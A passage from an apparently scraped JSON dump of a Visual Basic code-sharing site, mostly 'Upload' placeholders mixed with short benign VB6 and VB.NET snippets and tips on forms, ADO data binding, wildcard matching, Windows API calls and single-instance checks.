Sub"},{"WorldId":1,"id":53727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53767,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53789,"LineNumber":1,"line":"<table>\n <tr>\n <td vAlign=\"center\" bgcolor=\"#9999FF\">VB.NET\n TUTORIAL</td>\n </tr>\n <tr>\n <td vAlign=\"center\">\n \n Why this tutorial?\n \n VB.NET is completely Object\n Oriented. Most VB 6.0 programmers find it difficult to cope up with the\n new object oriented features of VB.NET.\n The whole tutorial is divided to 10\n lessons. Each lesson is available as a vb source code file, in the same\n folder. You can open each lesson and start learning.\n This tutorial is designed with the\n following objectives.\n <ol>\n <li>To provide a sound knowledge\n about Object Oriented Programming in VB.NET</li>\n <li>To educate how Object Oriented\n techniques are used in VB.NET</li>\n <li>To explain the following\n concepts (tonnes of source code included) simply and easily.\n <ul>\n <li>Creating And Using Classes\n And Objects In VB.NET</li>\n <li>Encapsulation, Abstraction,\n Inheritance And Polymorphism</li>\n <li>Overloading And Overriding</li>\n <li>Constructors And Destructors</li>\n <li>Static Functions</li>\n </ul>\n </li>\n </ol>\n Go through this tutorial and you\n will start making sense of almost any .NET code. Also, Java/CPP programmers can use\n this to easily learn VB.NET.\n Compiling\n The Source Code\n If you already have .NET installed\n in your system, rename the compile.bat.txt file to compile.bat\n and run it. If you are using Smart Editor Professional 2004 as your IDE,\n (from www.logicmatrixonline.com/sepro)\n then open compile.bat and click Run->Execute Batch File After All, VOTE FOR ME IF YOU FIND THIS USEFULL. DOWNLOAD THE ATTACHED FILES, AND START NOW. \n \n <hr>\n \n </td>\n </tr>\n</table>\n"},{"WorldId":1,"id":53794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53797,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53858,"LineNumber":1,"line":"Dim TheCurrentTheme As New Theme.Theme\nDim Manager As New ThemeManager\nPublic Function ClassicThemeOn() as Boolean\nDim Testit ' Used to catch if windows is in classic mode\n Set TheCurrentTheme = Manager.SelectedTheme\n \n 'Test to see if windows is in classic style\n On Error Resume Next\n Testit = TheCurrentTheme.VisualStyleColor\n If Err.Number = -2147024894 Then\n 'Error number is the number caused \n 'when themed.VisualStyleColor Fails\n 'when in clasic mode\n ClassicThemeOn = True\n Else\n ClassicThemeOn = False\n End If\n On Error GoTo 0\nEnd Function"},{"WorldId":1,"id":53861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53903,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53908,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53912,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53945,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53946,"LineNumber":1,"line":"Dim myIPValue As String\nPrivate Sub Form_Load()\nMaskEdBox1.Mask = \"###.###.###.###\"\nMaskEdBox1.PromptChar = Chr(32) 'space character\nEnd Sub\nPrivate Sub MaskEdBox1_KeyPress(KeyAscii As Integer)\nDim mySplit() As String, c As Integer, jumpC As Integer, tmpString As String, tmpSplit As String\nIf KeyAscii = 46 Then\n mySplit = Split(MaskEdBox1.Text, Chr(46), -1)\n For c = 0 To UBound(mySplit)\n If IsNumeric(mySplit(c)) Then jumpC = jumpC + 4\n If Len(Trim(mySplit(c))) < 3 Then mySplit(c) = Space(3 - Len(Trim(mySplit(c)))) & Trim(mySplit(c))\n Next c\n tmpString = mySplit(0) & \".\" & mySplit(1) & \".\" & mySplit(2) & \".\" & mySplit(3)\n MaskEdBox1.Text = tmpString\n MaskEdBox1.SelStart = jumpC\n KeyAscii = 0\nEnd If\nEnd Sub\nPrivate Sub MaskEdBox1_KeyUp(KeyCode As Integer, Shift As Integer)\nDim validSplit() As String, v As Integer, validString As String\nvalidSplit = Split(MaskEdBox1.Text, Chr(46), -1)\nFor v = 1 To UBound(validSplit)\n If validSplit(v) = \" \" Or v = UBound(validSplit) Then\n If Val(Trim(validSplit(v - 1))) > 255 Or (v = UBound(validSplit) And Val(Trim(validSplit(v))) > 255) Then\n MsgBox \"Invalid value\"\n If Val(validSplit(3)) > 0 Then v = v + 1\n validSplit(v - 1) = \" \"\n validString = validSplit(0) & \".\" & validSplit(1) & \".\" & validSplit(2) & \".\" & validSplit(3)\n MaskEdBox1.Text = validString\n MaskEdBox1.SelStart = (v - 1) * 4\n Exit For\n End If\n End If\nNext v\nmyIPValue = Replace(MaskEdBox1.Text, \" \", \"\")\nEnd Sub\n"},{"WorldId":1,"id":53948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53957,"LineNumber":1,"line":"Option Explicit\n'decalre connection and recordset\nDim myConn As ADODB.Connection\nDim myRecSet As ADODB.Recordset\nPrivate Sub Form_Load()\nSet myConn = New ADODB.Connection\nSet myRecSet = New ADODB.Recordset\nmyConn.CursorLocation = adUseClient\n'modify your connection string\nmyConn.Open \"PROVIDER=Microsoft.jet.OLEDB.4.0;data source=C:\\game.mdb;\"\n'modify with tablename, fieldname, optional comboname, optional listboxname, optional orderby\nCall Fill_ComboAllOver(\"tablename\", \"fieldname\", , List1, \"fieldname\")\n'modify with tablename, fieldname, optional comboname, optional listboxname, optional orderby\nCall Fill_ComboAllOver(\"tablename\", \"fieldname\", Combo1) 'no orderby specified\n'modify with tablename, fieldname, optional comboname, optional listboxname, optional orderby\nCall Fill_ComboAllOver(\"tablename\", \"fieldname\", Combo2, , \"fieldname\")\n'modify with tablename, fieldname, optional comboname, optional listboxname, optional orderby\nCall Fill_ComboAllOver(\"tablename\", \"fieldname\", , List2, \"fieldname\")\n'modify with tablename, fieldname, optional comboname, optional listboxname, optional orderby\nCall Fill_ComboAllOver(\"tablename\", \"fieldname\", , List3) 'no orderby specified\nEnd Sub\nPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)\nmyConn.Close\nEnd Sub\nPublic Sub Fill_ComboAllOver(ByVal sbTableName As String, ByVal sbFieldName As String, _\n Optional ByRef comboName As ComboBox, Optional ByRef listName As ListBox, _\n Optional ByVal sbOrder As String)\nOn Error Resume Next\n'if no orderby sepcified, use the fieldname instead\nIf sbOrder = \"\" Then sbOrder = sbFieldName\n'clear the combo or the listbox\ncomboName.Clear\nlistName.Clear\n'open recordset\nDoEvents\n myRecSet.CursorLocation = adUseClient\n myRecSet.Open \"SELECT \" & sbFieldName & \" FROM \" & sbTableName & \" order by \" & sbFieldName & \";\", myConn, adOpenKeyset, adLockReadOnly\n With myRecSet\n Do Until .EOF\n 'fill combo or listbox\n comboName.AddItem .Fields(sbFieldName)\n listName.AddItem .Fields(sbFieldName)\n .MoveNext\n Loop\n End With\n myRecSet.Close\n Set comboName = Nothing\n Set listName = Nothing\nEnd Sub\n"},{"WorldId":1,"id":53961,"LineNumber":1,"line":"It was very difficult for me to upload all the tutorials here because i had more than 20 tutorials in my tutorial page. So i hosted all of the tutorials in http://www.tutorial.2ya.com/\nYou can find any type of tutorial there. Please vote for me. \nRegards \nShouvik (www.shouvik.tk)"},{"WorldId":1,"id":53970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53971,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47027,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47064,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47082,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47095,"LineNumber":1,"line":"Option Explicit\nPublic Function advlike(filter As String, expression As String) As Boolean\nDim curr_filter As Long, curr_text As Long, buffer As Boolean, temp As Long, tempstr As String, temp2 As Long, tempstr2 As String\ncurr_text = 1\nbuffer = True\nDo Until curr_filter = Len(filter) Or buffer = False\n curr_filter = curr_filter + 1\n Select Case Mid(filter, curr_filter, 1)\n Case \"*\"\n If curr_filter = Len(filter) Then\n curr_text = Len(expression) - 1\n Else\n curr_text = InStr(curr_text, expression, Mid(filter, curr_filter + 1, 1)) - 1\n If curr_text <= 0 Then buffer = False\n End If\n Case \"%\": curr_text = Len(expression) - 1\n Case \"?\" 'should just skip right over this with no problem at all\n Case \"[\"\n temp = InStr(curr_filter, filter, \"]\") 'contains the ending (\"]\") delimeter for qualifications\n tempstr = Mid(filter, curr_filter + 1, temp - curr_filter - 1) 'contains qualifications\n 'curr_text contains the start of the expression\n If curr_filter = Len(filter) Then\n temp2 = Len(expression) ' contains the end of the expression\n Else\n tempstr2 = Mid(filter, InStr(curr_filter, filter, \"]\") + 1, 1) ' contains the end of the expression\n temp2 = InStr(curr_text, expression, tempstr2)\n End If\n If temp2 = 0 Then\n buffer = False\n Else\n tempstr2 = Mid(expression, curr_text, temp2 - curr_text) 'contains expression\n If multicompare(tempstr2, tempstr) = False Then\n buffer = False\n Else\n curr_text = curr_text + Len(tempstr2) - 1\n curr_filter = curr_filter + Len(tempstr) + 1\n End If\n End If\n Case Else: If Mid(filter, curr_filter, 1) <> Mid(expression, curr_text, 1) Then buffer = False\n End Select\n curr_text = curr_text + 1\n \n 'if current text loc is past the end of the expression when there is still untested filter chars\n If curr_text > Len(expression) And curr_filter + 1 < Len(filter) Then buffer = False\nLoop\nadvlike = buffer\nEnd Function\nPublic Function multicompare(text As String, qualifications As String) As Boolean\nqualifications = Replace(qualifications, \" \", Empty)\nIf InStr(qualifications, \",\") = 0 Then\n multicompare = compare(text, qualifications)\nElse\n Dim temp As Long, tempstr() As String\n tempstr = Split(qualifications, \",\")\n For temp = 0 To UBound(tempstr)\n If compare(text, tempstr(temp)) Then multicompare = True\n Next\nEnd If\nEnd Function\nPublic Function compare(text As String, qualifier As String)\n Dim tempstr() As String\n If InStr(qualifier, \"-\") > 0 Then\n tempstr = Split(qualifier, \"-\")\n If isnumeric2(tempstr(0)) And isnumeric2(tempstr(1)) Then\n compare = Val(text) >= Val(tempstr(0)) And Val(text) <= Val(tempstr(1))\n Else\n compare = text >= tempstr(0) And text <= tempstr(1)\n End If\n Else\n If isnumeric2(qualifier) Then\n compare = Val(text) = Val(qualifier)\n Else\n compare = text = qualifier\n End If\n End If\nEnd Function\nPublic Function islike(filter As String, expression As String) As Boolean\n On Error Resume Next\n Dim tempstr() As String, count As Long\n If Replace(filter, \";\", Empty) <> filter Then\n tempstr = Split(filter, \";\")\n islike = False\n For count = LBound(tempstr) To UBound(tempstr)\n If advlike(tempstr(count), expression) Then islike = True\n Next\n Else\n If advlike(filter, expression) Then islike = True\n End If\nEnd Function\nPublic Function isnumeric2(text As String) As Boolean\nisnumeric2 = IsNumeric(Replace(Replace(text, \"-\", Empty), \".\", Empty))\nEnd Function\n"},{"WorldId":1,"id":47099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47122,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47162,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47168,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47177,"LineNumber":1,"line":"┬á┬áPut this in the General Declarations area for your module: \nDeclare Function PeekMessage Lib \"user32\" Alias \"PeekMessageA\" (lpMsg As MSG, ByVal hwnd As Long, ByVal wMsgFilterMin \nAs Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long \nDeclare Function GetMessage Lib \"user32\" Alias \"GetMessageA\" (lpMsg As MSG, ByVal hwnd As Long, ByVal wMsgFilterMin As \nLong, ByVal wMsgFilterMax As Long) As Long \nDeclare Function TranslateMessage Lib \"user32\" (lpMsg As MSG) As Long \nDeclare Function DispatchMessage Lib \"user32\" Alias \"DispatchMessageA\" (lpMsg As MSG) As Long \n \nPrivate Const PM_NOREMOVE = &H0 \nPrivate Const PM_REMOVE = &H1 \nPrivate Const WM_QUIT = &H12 \n \nPrivate Type POINTAPI \n┬á┬á┬á┬áX As Long \n┬á┬á┬á┬áY As Long \nEnd Type \n \nPrivate Type MSG \n┬á┬á┬á┬áhwnd As Long \n┬á┬á┬á┬áMessage As Long \n┬á┬á┬á┬áwParam As Long \n┬á┬á┬á┬álParam As Long \n┬á┬á┬á┬átime As Long \n┬á┬á┬á┬ápoint As POINTAPI \nEnd Type \n \n \n┬á┬áPut the following in your sub main (after setting blRunning = True): \n<pre>\n'***********************************************************\n'*** Try commenting and uncommenting each of these three ***\n'*** methods. Watch your CPU usage when you run each of ***\n'*** them. Then go back to using GetMessage. ***\n'***********************************************************\n</pre>\nDo While blRunning \n┬á┬á┬á┬á'*** use the PeekMessage version if you want to use 100% CPU \n┬á┬á┬á┬á'*** frex to do background processing that doesn't rely on \n┬á┬á┬á┬á'*** windows messages \n┬á┬á┬á┬á'If PeekMessage(Message, 0&, 0&, 0&, PM_REMOVE) Then \n┬á┬á┬á┬á'┬á┬á┬á┬áCall TranslateMessage(Message) \n┬á┬á┬á┬á'┬á┬á┬á┬áCall DispatchMessage(Message) \n┬á┬á┬á┬á'End If \n \n┬á┬á┬á┬á'*** use the GetMessage version if you only want to do \n┬á┬á┬á┬á'*** processing if there's a message \n┬á┬á┬á┬áIf GetMessage(Message, 0&, 0&, 0&) Then \n┬á┬á┬á┬áCall TranslateMessage(Message) \n┬á┬á┬á┬áCall DispatchMessage(Message) \n┬á┬á┬á┬áEnd If \n \n┬á┬á┬á┬á'*** the 'pure vb' poor way to do this \n┬á┬á┬á┬á'DoEvents \nLoop "},{"WorldId":1,"id":47179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48018,"LineNumber":1,"line":"'3WTCIPIAO - 3 ways to check if program\n'is already open\n'By Filip Wielewski\n'Sorry for my english\n'==================1==================\n'First way doesn't use any API.\n'For example:\nOption Explicit\nPrivate Sub Form_Load()\n \n 'If this program is already open\n 'then end\n If App.PrevInstance = True Then End\n \nEnd Sub\n'App.PrevInstance may be True or\n'False. If it is True, that means this\n'program is already open.\n'!!! - if there are already open the\n'same programs but exe files' paths\n'are different then App.PrevInstance\n'retrieves False. Use App.PrevInstance\n' only if paths of your programs\n'are the same.\n'==================2==================\n'Second way to find out if program\n'is already open is to use FindWindow\n'function. For example:\nOption Explicit\nPrivate Sub Form_Initialize()\n \n 'Find window that has the same\n 'caption as Form1\n If FindWindow(vbNullString, _\n Form1.Caption) <> 0 Then End\n \nEnd Sub\n'When function retrieves 0 that means\n'there is no window with caption like\n'in Form1 (if window is found then\n'function retrieves handle to it).\n'But if there exists Explorer's\n'window which caption is the same\n'like Form1.Caption then function\n'does also retrieve a handle to that\n'window!\n'To avoid that situation you have\n'to know name of class of your Form\n'(window). For example:\nOption Explicit\nPrivate Sub Form_Initialize()\n \n 'Find window that has the same\n 'caption like Form1\n If FindWindow(\"ThunderFormDC\", _\n Form1.Caption) <> 0 Then End\n \nEnd Sub\n'!!! - Use FindWindow function in\n'Form_Initialize(), not in Form_Load()\n'because when you use FindWindow\n'function in Form_Load() then program\n'will find itself (in Form_Initialize()\n'form isn't loaded yet so you can\n'use FindWindow function to check if\n'program is already open).\n\n'==================3==================\n'Third and the best way is to create\n'mutex object. For example:\nOption Explicit\nDim lonMutex As Long 'It will store a\n 'handle to\n 'mutex object.\n \nPrivate Sub Form_Load()\n \n Const ERROR_ALREADY_EXISTS = 183&\n \n 'Is this application already open?\n '(If it is open then end program)\n lonMutex = CreateMutex(ByVal 0&, _\n 1, App.Title)\n If (Err.LastDllError = 183&) Then\n 'free memory\n ReleaseMutex lonMutex\n CloseHandle lonMutex\n End\n End If\nEnd Sub\nPrivate Sub Form_Unload(Cancel As _\nInteger)\n \n 'free memory\n ReleaseMutex lonMutex\n CloseHandle lonMutex\n \nEnd Sub\n'CreateMutex function creates mutex\n'object which represents our\n'application in memory. If Err object\n'returns error ERROR_ALREADY_EXISTS\n'that means mutex object representing\n'our application already exists.\n'In this case free memory\n'destroying mutex object and closing\n'handle to it.\n"},{"WorldId":1,"id":48021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48023,"LineNumber":1,"line":"Private Sub Command1_Click()\nIf Form1.WindowState = 0 Then\nForm1.Left = Screen.Width / 2 - Form1.Width / 2\nForm1.Top = Screen.Height / 2 - Form1.Height / 2\nElse\nCommand1.Enabled = False\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\nForm1.Left = Screen.Width / 2 - Form1.Width / 2\nForm1.Top = Screen.Height / 2 - Form1.Height / 2\nEnd Sub\nPrivate Sub Form_Resize()\nIf Form1.WindowState = 2 Then\nCommand1.Enabled = False\nElse\nCommand1.Enabled = True\nEnd If\nEnd Sub"},{"WorldId":1,"id":48024,"LineNumber":1,"line":"Const AW_HOR_POSITIVE = &H1 'Animates the window from left to right. This flag can be used with roll or slide animation.\nConst AW_HOR_NEGATIVE = &H2 'Animates the window from right to left. This flag can be used with roll or slide animation.\nConst AW_VER_POSITIVE = &H4 'Animates the window from top to bottom. This flag can be used with roll or slide animation.\nConst AW_VER_NEGATIVE = &H8 'Animates the window from bottom to top. This flag can be used with roll or slide animation.\nConst AW_CENTER = &H10 'Makes the window appear to collapse inward if AW_HIDE is used or expand outward if the AW_HIDE is not used.\nConst AW_HIDE = &H10000 'Hides the window. By default, the window is shown.\nConst AW_ACTIVATE = &H20000 'Activates the window.\nConst AW_SLIDE = &H40000 'Uses slide animation. By default, roll animation is used.\nConst AW_BLEND = &H80000 'Uses a fade effect. This flag can be used only if hwnd is a top-level window.\nPrivate Declare Function AnimateWindow Lib \"user32\" (ByVal hwnd As Long, ByVal dwTime As Long, ByVal dwFlags As Long) As Boolean\nPrivate Sub Form_Load()\n 'Credit to: http://www.allapi.net/\n Me.AutoRedraw = True\n Me.Print \"Unload me\"\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n 'Animate the window\n AnimateWindow Me.hwnd, 300, AW_BLEND Or AW_HIDE\n 'Unload our form completely\n Set Form1 = Nothing\nEnd Sub"},{"WorldId":1,"id":48028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48033,"LineNumber":1,"line":"When using an ADOdc to connect to a Access database, where the command is set to adCmdUnknown to be able to set the recordSource using a SQL statement, and attach a datagrid to that control, if you attempt to add a new record to the empty list(corresponding to an empty table) you will get the error message 'current row unavailable' \nThis problem is not documented in Microsoft knowledgebase, or if I recall, the workaround they suggest does not work. \nI found in some newsgroup that if you want to change the recordSource of the AdoDc , to avoid the problem with the grid, you first have to disconnect the grid from the Ado control <code>\nSet dataGrid.DataSource= Nothing \n'then change the ado query \nAdoDc.RecordSource = \"SELECT * from myTable WHERE myField = 'someStringValueforExample'\" \nAdoDc.Refresh \nSet dataGrid.DataSource = AdoDc </code> \nif the table is empty, and you use the datagrid to add a new record, you will not get the current row error using this technique. \nOther matters: \nYou will realize that in order to use the vb data wizard to create your startup data forms (wich is good), you will need to reference the msADO 2.7 Library \nIf you do so, to redistribute your application properly, you have to download the appropriate (2.7) MDAC_Type.exe from microsoft and put this file in the <BOLD> C:\\Program Files\\Microsoft Visual Studio\\VB98\\Wizards\\PDWizard\\Redist </BOLD> folder. \nHope this will help someone.... I sure would have appreciated it when I had problems."},{"WorldId":1,"id":48035,"LineNumber":1,"line":"Say, you got tired of the simple About boxes which you try time and again to improve by using text orientation effects and images but still can't get what you want - the ultimate About box ?.. Well, here's an idea how to obtain it with a little.. push. \nEver heard of Macromedia Flash ? :) Of course you did ! Thought it is most useful on web pages presentations ? Wrong ! Why not use it outside them, say, in an About box ?? With just a little effort in learning Flash movie-making, you'll have the About box you ever wanted, and who knows - maybe more ! \nAgain, ever heard of custom resources ? Again, of course you did. Let's combine these two areas of.. computer science and get a LIVING About box. \nFirst of all, and most important, you do not have to distribute the movie separately from the program itself; that's why you'll use it as a resource. Steps to do it ? Here's some steps for you: \n1. Make the About movie (the hardest part of all, I agree... :) ) \n2. Insert the .swf file as Custom resource, putting it in the category, say \"AboutMovies\", and giving it the ID \"TheAboutMovie\" \n3. Put a WebBrowser control on the form, dimensioning it to fit the size of the movie you made. \n4. Use it ! \nPrivate Sub Form_Load() \nDim moviebits() As Byte \nmoviebits=LoadResData (\"AboutMovies\", \"TheAboutMovie\") \nOpen App.Path & \"\\aboutmov.swf\" For Binary Access Write As #1 \nPut #1, , moviebits \nClose \nErase moviebits \nWebBrowser1.Navigate2 App.Path & \"\\aboutmov.swf\" \nEnd Sub \nPrivate Sub Form_Unload(.. \n... \nKill App.Path & \"\\aboutmov.swf\" \n... \nEnd Sub \nEnd of HowTo. \nTry this at home. Regards."},{"WorldId":1,"id":48042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48045,"LineNumber":1,"line":"Private Type QOCINFO \n dwSize As Long \n dwFlags As Long \n dwInSpeed As Long 'in bytes/second \n dwOutSpeed As Long 'in bytes/second \n End Type\n \n Private Declare Function IsDestinationReachable Lib "SENSAPI.DLL" \n Alias "IsDestinationReachableA" (ByVal lpszDestination As String, \n ByRef lpQOCInfo As QOCINFO) As Long \n\nPrivate Sub Form_Load() \n Dim Ret As QOCINFO \n Dim IP As String \n Ret.dwSize = Len(Ret) \n 'Put desired IP \n IP = "217.9.238.114" \n If IsDestinationReachable(IP, Ret) = 0 Then \n MsgBox "The destination cannot be reached!" \n Else \n MsgBox "The destination can be reached!" + \n vbCrLf + _ \n "The speed of data coming in from the destination \n is " + Format$(Ret.dwInSpeed / 1048576, "#.0") + " Mb/s," \n + vbCrLf + _ \n "and the speed of data sent to the destination \n is " + Format$(Ret.dwOutSpeed / 1048576, "#.0") + " Mb/s." \n End If \n End Sub \n"},{"WorldId":1,"id":48050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48068,"LineNumber":1,"line":"Private Sub Form_Load()\n If (Weekday(Now) = vbSaturday) Or (Weekday(Now) = vbSunday) Then\n'This is the start of the If Statement telling the program that if it is\n'Saturday or Sunday then print the message in Label1.\n Label1.Caption = \"Don't worry it's only the weekend!\"\n'This is the message that will be printed in Label1.\n Else\n'If the current date isn't Saturday or Sunday then it will go to the next message\n'to print in Label1.\n Label1.Caption = \"Ohh no it's...not the weekend!\"\n'This is the message that will be printed in Label1.\n End If\n'This just ends the If Statement.\nEnd Sub"},{"WorldId":1,"id":48070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48083,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48154,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48164,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48168,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48169,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48170,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48178,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48201,"LineNumber":1,"line":"Upload"},{"